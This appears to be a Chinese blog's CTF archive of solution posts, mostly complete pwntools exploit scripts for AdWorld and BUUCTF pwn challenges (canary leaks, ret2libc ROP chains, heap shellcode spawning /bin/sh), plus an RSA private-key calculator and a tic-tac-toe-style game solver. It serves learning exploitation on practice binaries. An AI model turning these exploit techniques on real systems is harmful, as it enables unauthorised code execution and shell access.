分类目录归档：CTF

AdWorld Pwn pwn1

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Canary泄露入门题：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4598&page=1

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from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400a93
ROP_Ret = 0x40067e
ADDR_GOT_read = 0x600FD0
ADDR_PLT_puts = 0x400690
ADDR_SYM_main = 0x400908

p = remote("111.198.29.45",38563)
#p = process("./babystack")
p.sendlineafter(">> ","1")
payload1 = b'0'*0x88
p.sendline(payload1)
p.sendlineafter(">> ","2")
p.recvuntil("00\n")
canary = u64(b"\x00" + p.recv(7))

print(hex(canary))
p.sendlineafter(">> ","1")
payload2 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main)
p.sendline(payload2)
p.sendlineafter(">> ","3")

GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
p.sendlineafter(">> ","1")
payload3 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_Ret) + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system)
p.sendline(payload3)
p.sendlineafter(">> ","3")

p.interactive()

AdWorld Pwn pwn-200

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学了64位的ROPGadgets就把32位咋传参的搞忘了？？？
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4847&page=1

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from pwn import *
from LibcSearcher import *
import time
context.log_level="debug"
context(arch="amd64",os="linux")

z = remote('111.198.29.45',49363)
z.recvuntil("Welcome to XDCTF2015~!\n")
elf = ELF("./pwn")
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x80484be
payload = b'a'*0x6c + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) + b'a'*(0x100-6*4-0x6c)
z.send(payload)
read_addr = u32(z.recv(4))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)
libc_addr = read_addr - libc.dump('read')
sys_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
payload2 = b'a'*0x6c + p32(0) + p32(sys_addr) + p32(0) + p32(binsh_addr) + b'a'*(0x100-4*4-0x6c)
z.send(payload2)
z.interactive()

有两点要注意：一个是read函数会不多不少的读入给定的字节数，不需要换行，如果多打了换行是会算到下一个read里的。
(更新：用换行可以提前结束read函数，且这个换行符会被读入)
还有一个问题是又和64位搞混了。把栈布局成了write_plt,1,read_got,4,main_addr的结构。这是错误的。栈应该如下布置：call_function,return_function,var_1,var_2,…

AdWorld Pwn note-service2

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新接触的一道题，新题型。。
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4611&page=1
Writeup: https://adworld.xctf.org.cn/media/uploads/writeup/ee65882803c511ea9f5700163e004e93.pdf
开眼23333。。。

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from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

def create(p,index,size,content):
    p.sendlineafter("your choice>> ","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(p,index):
    p.sendlineafter("your choice>> ","4")
    p.sendlineafter("index:",str(index))

p = remote("111.198.29.45",34191)
#p = process("./1")

ASM = []
ASM.append(asm("xor rax,rax") + b"\x90\x90\xeb\x19")
ASM.append(asm("mov eax,0x3b") + b"\xeb\x19")
ASM.append(asm("xor rsi,rsi") + b"\x90\x90\xeb\x19")
ASM.append(asm("xor rdx,rdx") + b"\x90\x90\xeb\x19")
ASM.append(asm("syscall") + b"\x90\x90\x90\x90\x90")

for i in range(0,5):
    create(p,i,8,ASM[i])
delete(p,0)
create(p,-8,8,ASM[0])
p.sendlineafter("your choice>> ","/bin/sh")

p.interactive()

附上i64db：
1f10c9df3d784b5ba04b205c1610a11e

CTF Pwn AdWorld stack2

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https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4695&page=1
新颖题型：

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from pwn import *
context.log_level="debug"
context(arch="amd64",os="linux")

def change(p,offset,num):
    p.sendline("3")
    p.sendline(str(offset))
    p.sendline(str(num))

p = remote("111.198.29.45",48634)
p.sendline("0")

off = 0x84
system_addr = 0x8048450
sh_addr = 0x8048987

for i in range(0,4):
    change(p,off+i,system_addr&0xFF)
    system_addr>>=8

off += 8
for i in range(0,4):
    change(p,off+i,sh_addr&0xFF)
    sh_addr>>=8

p.sendline("5")
p.interactive()

BUUCTF Pwn ciscn_2019_c_1

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本题涉及了栈对齐问题，这个pwn在ubuntu18上运行，调用system的时候需要加1个retn来去补齐，目前不知道具体的原因。经实验再多加4个retn也可，可知这个栈对齐是32字节的。

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from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

pop_rdi = 0x0000000000400c83
puts_got_addr = 0x602020
puts_plt_addr = 0x4006e0
encrypt_sym_addr = 0x4009A0
ret = 0x4006b9

#p = remote("node3.buuoj.cn",28578)
p=process("./ciscn_2019_c_1")
p.sendline("1")
payload=b'0'*0x50+p64(0)+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(encrypt_sym_addr)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")

GOT_puts=p.recvuntil("\n").split()[0]
print(GOT_puts)
for i in range(len(GOT_puts),8):
    GOT_puts += b'\x00'
GOT_puts = u64(GOT_puts)

libc = LibcSearcher("puts",GOT_puts)
ADDR_LibC_base = GOT_puts - libc.dump("puts")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload=b'0'*0x50+p64(0)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(pop_rdi)+p64(ADDR_String_Sh)+p64(ADDR_system) # 删去4个retn也可
p.sendline(payload)

p.interactive()

CTF Pwn ROP Pwn-100

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今日学习ROP。并看着WriteUp做出了一道题目。
ROP主要参考资料：（不分先后）
https://www.jianshu.com/p/80d7150dd0a2
https://baike.baidu.com/item/ROP%E7%B3%BB%E7%BB%9F%E6%94%BB%E5%87%BB/16230646?fr=aladdin
https://www.jianshu.com/p/1d7f0c56a323
https://www.cnblogs.com/ichunqiu/p/9288935.html
题目地址：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4888&page=1
Exp:

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from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400763
ADDR_GOT_read = 0x601028
ADDR_PLT_puts = 0x400500
ADDR_SYM_main = 0x4006b8

p = remote("111.198.29.45",30265)
payload1 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) + b'0'*(0xc8-0x48-32)
p.send(payload1)
p.recvuntil("bye~\n")


GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload2 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) + b'0'*(0xc8-0x48-24)
p.send(payload2)
p.recvuntil("bye~\n")

p.interactive()

CTF Crypto RSA

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已知质数p,q，公钥（指数）e，求私钥d。
利用欧拉定理解私钥d，利用扩展欧几里得求逆元。
python代码：

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def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)

if __name__ == '__main__':
    Main()

参考链接：

数论代码总结

洛谷 同余方程


https://www.freebuf.com/sectool/163781.html
还有一本数论概论:)

BJD CTF Programming notakto_1

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不知名CTF比赛的不知名题目，类井字棋，要写程序判断。
写了两个程序：如下：
C++有漏洞，够用就行：

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#include<iostream>
#include<algorithm>
using namespace std;
int process[10] = { 4 };
bool visited[10];
inline int cal(int x, int y) {
    return x * 3 + y;
}
bool& vis(int x, int y) {
    return visited[cal(x, y)];
}
bool check(int x, int y) {
    bool flag = false;
    flag |= vis(0, y) & vis(1, y) & vis(2, y);
    flag |= vis(x, 0) & vis(x, 1) & vis(x, 2);
    if (x == y)flag |= vis(0, 0) & vis(1, 1) & vis(2, 2);
    if (x + y == 2)flag |= vis(0, 2) & vis(1, 1) & vis(2, 0);
    return flag;
}
void print(int n) {
    for (int i = 0; i <= n; i++) {
        cout << process[i];
    }
    cout << endl;
}
void dfs(int step) {
    bool flag = true;
    for (int i = 0; i < 9; i++) {
        if (visited[i])continue;
        visited[i] = true;
        process[step] = i;
        if (check(i / 3, i % 3) == 0) {
            dfs(step + 1);
            flag = false;
        }
        visited[i] = false;
    }
    if (flag&&step%2==1)print(step);
}
int main() {
    visited[4] = true;
    dfs(1);
}

python连带着往外发socket麻烦得很：

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from pwn import *
sock = remote("222.186.56.247",8122)
wordList = []
currentWord = ""

def findNewWord():
    global currentWord,wordList
    for elem in wordList:
        if elem[0:len(currentWord)]==currentWord:
            return elem
    raise Exception("Error:Word Not found!")

def loadDic():
    global wordList
    with open("situation.txt","r") as f:
        wordList = f.readlines()
   
def getIntfromSock(sock):
    sock.recvuntil("My move: ")
    x = sock.recv(1)
    if x==b' ': x = sock.recv(1)
    return int(x)

def payGame(i):
    global currentWord,wordList,sock
    print("the ith:",i)
    currentWord=""
    while len(currentWord) < 5:
        backupWord = findNewWord()
        print("Send:",backupWord[len(currentWord)])
        sock.sendline(str(backupWord[len(currentWord)]))
        currentWord += backupWord[len(currentWord)]
        if len(currentWord)==5:
            print("break")
            break
        currentWord += str(getIntfromSock(sock))
        print("currentWord",currentWord)
    sock.recvuntil("win!")

loadDic()
for i in range(150):
    payGame(i)
sock.interactive()

代码链接：notakto